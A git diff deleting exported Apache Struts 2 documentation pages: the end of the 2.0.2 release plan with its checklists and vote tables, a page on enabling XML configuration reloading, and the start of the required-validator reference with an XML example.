-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27297">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27297">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27297">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27297">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27297">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><ul><li>Struts 2.0.2 is preparing a "release candidate" build.</li><li>Documentation issues remain as to migrating.</li><li>Assembly/distribution issues remain.</li></ul>
-
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For resolved issues, see <a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10701">Struts 2.0.2 DONE</a> in the issue tracker. </p>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> For known and pending issues (if any) see <a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10700">Struts 2.0.2 TODO</a> in the issue tracker. </p>
-
-<h2 id="ReleasePlan2.0.2-OverallStatus">Overall Status</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <a shape="rect" class="external-link" href="http://issues.apache.org/struts/browse/SITE-3">Setup Nightly Builds</a> </p></td><th colspan="1" rowspan="1" class="confluenceTh"><p> Pending </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> <img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0a [...]
-
-
-<h2 id="ReleasePlan2.0.2-AdditionalBackground">Additional Background</h2>
-
-<ul><li><a shape="rect" href="release-plan-202.html">Struts 2.0.2 omnibus ticket</a></li><li><a shape="rect" class="external-link" href="http://wiki.apache.org/struts/StrutsTi">Struts Ti Proposal</a></li><li><a shape="rect" class="external-link" href="http://wiki.apache.org/struts/StrutsAction2">Migration Issues</a></li><li><a shape="rect" class="external-link" href="http://wiki.apache.org/struts/RoughSpots">Struts 2 Rough Spots</a></li><li><a shape="rect" class="external-link" href="htt [...]
-
-
-<h2 id="ReleasePlan2.0.2-ReleaseManager">Release Manager</h2>
-
-<p>The release manager is <strong>Ted Husted</strong>.</p>
-<ul><li>See also <a shape="rect" href="creating-and-signing-a-distribution.html">Creating and Signing a Distribution</a></li></ul>
-
-
-<h2 id="ReleasePlan2.0.2-SpecialIssues">Special Issues</h2>
-
-<p>Struts 2.0 is based on the WebWork 2.2 codebase. Essentially, Struts 2.0 will be the technical equivalent of WebWork 2.3. (The WebWork 2 codebase was accepted into the Struts project through the <a shape="rect" class="external-link" href="http://incubator.apache.org/projects/webwork2.html">Apache Incubator</a>.) </p>
-
-<p>For Struts 2.0, the core goals are to repackage the codebase as an Apache Struts product and to provide migration resources for Struts 1 and WW 2 developers. A few legacy API elements will be removed, and a few new features will be added. </p>
-
-<p>The Struts 2.0 release is following the <a shape="rect" class="external-link" href="http://wiki.apache.org/struts/StrutsTi">Struts Ti Proposal</a>. Struts 2.0 is Phase 1 of the proposal. A subsequent Struts release series (either Struts 2.1 or Struts 3.0) will address Phase 2 of the proposal.</p>
-
-<p>The platform for Struts 2.0.x is Java 1.5, with Java 1.4 compatibity provided by <a shape="rect" class="external-link" href="http://retrotranslator.sourceforge.net/" rel="nofollow">RetoTranslator</a>.</p>
-
-<p>See also <a shape="rect" class="external-link" href="http://wiki.apache.org/struts/StrutsAction2">Struts 2</a>.</p>
-
-<h2 id="ReleasePlan2.0.2-NewFeaturesUnderConsideration">New Features Under Consideration</h2>
-
-<p>The initial list of new features is taken from the <a shape="rect" class="external-link" href="http://wiki.apache.org/struts/RoughSpots">Struts 2 Rough Spots</a> page.</p>
-
-<p>Some new features were added in <a shape="rect" href="release-plan-200.html">Struts 2.0.0</a>.</p>
-
-<h3 id="ReleasePlan2.0.2-ReviewandRefinement">Review and Refinement</h3>
-
-<ul><li>Separate classes that most applications need to use. Isolate classes that the framework uses internally or that are rarely used by applications.  (See Rough Spot #3.)</li><li>Distinguish between the published public versus private APIs. (See Rough Spot #4.)</li><li>Utilize properties (methods) instead of protected or public fields (). (See #13.)</li><li>Review exception handling. Some are still being swallowed rather than rethrown. (See #20 and <a shape="rect" class="unresolved"  [...]
-
-
-<h3 id="ReleasePlan2.0.2-Modifications">Modifications</h3>
-
-<ul><li>Simplify TextProvider. (See #15.)</li><li>Modify ParametersInterceptor to sort parameter names by depth (using bucket sort) and then map them in that order (shallowest first). (See #21.)</li><li>Use the strategy pattern to swap in different implementations of interfaces like ValidationAware. (See Tim, NTH #1.)</li></ul>
-
-
-<h3 id="ReleasePlan2.0.2-Configuration">Configuration</h3>
-
-<ul><li>Add support type aliasing (a la Spring and iBATIS) to reduce or eliminate need to use fully-qualified class names, over and over. The fully-qualified type is declared once, and then a simple type "nickname" can be used instead. (See #23.)
-	<ul><li>An alternative to this issue is adding a default=action-class-ref so that packages can designate a default class other than ActionSupport.</li></ul>
-	</li><li>Combine configuration DTDs so that Actions, Messages, and Validators can be defined in a single file. (See Ted, #1.)</li><li>Use values on the stack to override/define configuration options. (See Tim, NTH #3.)</li></ul>
-
-
-<h3 id="ReleasePlan2.0.2-OGNL">OGNL</h3>
-
-<ul><li>On the OGNL value stack, rename #request for request parameters and #requestAttributes for request attributes. (See #17 and <a shape="rect" class="unresolved" href="#">WW-785@ww</a>.)</li><li>Work with OGNL to add Java 5 support. (See #31.)</li><li>Work with OGNL to make it a clear superset of JSTL. (See Gabe #4.)</li></ul>
-
-
-<h3 id="ReleasePlan2.0.2-Struts1FeaturestoImplement"><a shape="rect" class="unresolved" href="#">Struts 1 Features to Implement</a> </h3>
-
-<ul><li>Extends for action mappings (See Tim, NTH #2.)</li><li><a shape="rect" class="unresolved" href="#">Set field focus</a></li></ul>
-
-
-<h2 id="ReleasePlan2.0.2-TestingChecklist">Testing Checklist</h2>
-
-<h3 id="ReleasePlan2.0.2-TestingSummary">Testing Summary </h3>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> # </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Completed </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> 1. </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> Run Unit Test targets </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> <img  [...]
-
-
-<p>TODO: A Silenium test suite for the applications would be great!</p>
-
-<h2 id="ReleasePlan2.0.2-TestBuildDistributionChecklist(A)">Test Build Distribution Checklist (A)</h2>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> See also <a shape="rect" href="creating-and-signing-a-distribution.html">Creating and Signing a Distribution</a></p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> # </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Completed </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> A1. </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> Setup new JIRA version level for next distribution </p></td><th colspan="1" rowspan="1"  [...]
-
-
-<h3 id="ReleasePlan2.0.2-Vote(A)">Vote (A)</h3>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<ul><li>If release vote fails, including for a lack of quorum (3 binding +1s), remove from builds folder.</li><li>If a release vote passes (Alpha, Beta or GA), the release may be announced and mirrored, at the PMC's discretion.</li><li>If vote is GA, goto Checklist (C).</li></ul>
-
-
-<h2 id="ReleasePlan2.0.2-PointReleaseDistributionChecklist(B)">Point Release Distribution Checklist (B)</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> B1. </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> Update "Downooads" page on website and Test Downloads </p></td><th colspan="1" rowspan="1" class="confluenceTh"><p> <img class="emoticon emoticon-light-off" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb.png" data-emoticon [...]
-
-
-<h3 id="ReleasePlan2.0.2-Vote(B)">Vote (B)</h3>
-
-<p>If initial vote is Alpha or Beta, voting can continue until a GA or "withdraw" vote passes, or there is a subsequent release.</p>
-
-<h4 id="ReleasePlan2.0.2-struts2-all">struts2-all</h4>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h4 id="ReleasePlan2.0.2-struts2-api">struts2-api</h4>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h4 id="ReleasePlan2.0.2-struts2-core">struts2-core</h4>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h4 id="ReleasePlan2.0.2-Plugins">Plugins</h4>
-
-<h5 id="ReleasePlan2.0.2-struts2-config-browser-plugin">struts2-config-browser-plugin</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h5 id="ReleasePlan2.0.2-struts2-jasperreports-plugin">struts2-jasperreports-plugin</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h5 id="ReleasePlan2.0.2-struts2-jfreechart-plugin">struts2-jfreechart-plugin</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h5 id="ReleasePlan2.0.2-struts2-jsf-plugin">struts2-jsf-plugin</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h5 id="ReleasePlan2.0.2-struts2-pell-multipart-plugin">struts2-pell-multipart-plugin</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h5 id="ReleasePlan2.0.2-struts2-plexus-plugin">struts2-plexus-plugin</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h5 id="ReleasePlan2.0.2-struts2-quickstart">struts2-quickstart</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h5 id="ReleasePlan2.0.2-struts2-sitemesh-plugin">struts2-sitemesh-plugin</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h5 id="ReleasePlan2.0.2-struts2-sitegraph">struts2-sitegraph</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h5 id="ReleasePlan2.0.2-struts1-plugin">struts1-plugin</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h5 id="ReleasePlan2.0.2-struts2-tiles-plugin">struts2-tiles-plugin</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-
-<h2 id="ReleasePlan2.0.2-GeneralAvailabilityDistributionChecklist(C)">General Availability Distribution Checklist (C) </h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><ol></ol>
-</th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Completed </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> C1. </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> Copy Distribution to Mirrored Directories </p></td><th colspan="1" rowspan="1" class="confluenceTh"><p><img class="emoticon emoticon-light-off" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8b [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/reloading-configuration.html b/content/docs/reloading-configuration.html
deleted file mode 100644
index cbc9757..0000000
--- a/content/docs/reloading-configuration.html
+++ /dev/null
@@ -1,163 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Reloading configuration</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-files.html">Configuration Files</a>&nbsp;&gt;&nbsp;<a href="reloading-configuration.html">Reloading configuration</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Reloading configuration</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14089">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14089">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14089">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14089">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14089">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14089">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>Struts allows for dynamic reloading of xml configuration file (ie, reloading actions.xml).</p>
-
-<p>This allows you to reconfigure your action mapping during development. There may be a slight performance penalty, so this is not recommended for production use.</p>
-
-<p>In order to enable this feature, add the following to your struts.properties file:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-struts.configuration.xml.reload=true
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/required-validator.html b/content/docs/required-validator.html
deleted file mode 100644
index 0266f6d..0000000
--- a/content/docs/required-validator.html
+++ /dev/null
@@ -1,181 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>required validator</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="required-validator.html">required validator</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">required validator</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14164">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14164">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14164">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14164">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14164">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14164">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<h1 id="requiredvalidator-Description">Description</h1>
-<p>RequiredFieldValidator checks if the specified field is not null.</p>
-
-<h1 id="requiredvalidator-Parameters">Parameters</h1>
-<p></p><ul><li>fieldName - field name if plain-validator syntax is used, not needed if field-validator syntax is used</li></ul>
-
-
-<h1 id="requiredvalidator-Examples">Examples</h1>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-	   &lt;validators&gt;
-
-        &lt;!-- Plain Validator Syntax --&gt;
-        &lt;validator type=&quot;required&quot;&gt;
-            &lt;param name=&quot;fieldName&quot;&gt;username&lt;/param&gt;
-            &lt;message&gt;username must not be null&lt;/message&gt;
-        &lt;/validator&gt;
-
-
-        &lt;!-- Field Validator Syntax --&gt;
-        &lt;field name=&quot;username&quot;&gt;
-            &lt;field-validator type=&quot;required&quot;&gt;
-            	   &lt;message&gt;username must not be null&lt;/message&gt;
-            &lt;/field-validator&gt;
-        &lt;/field&gt;
-
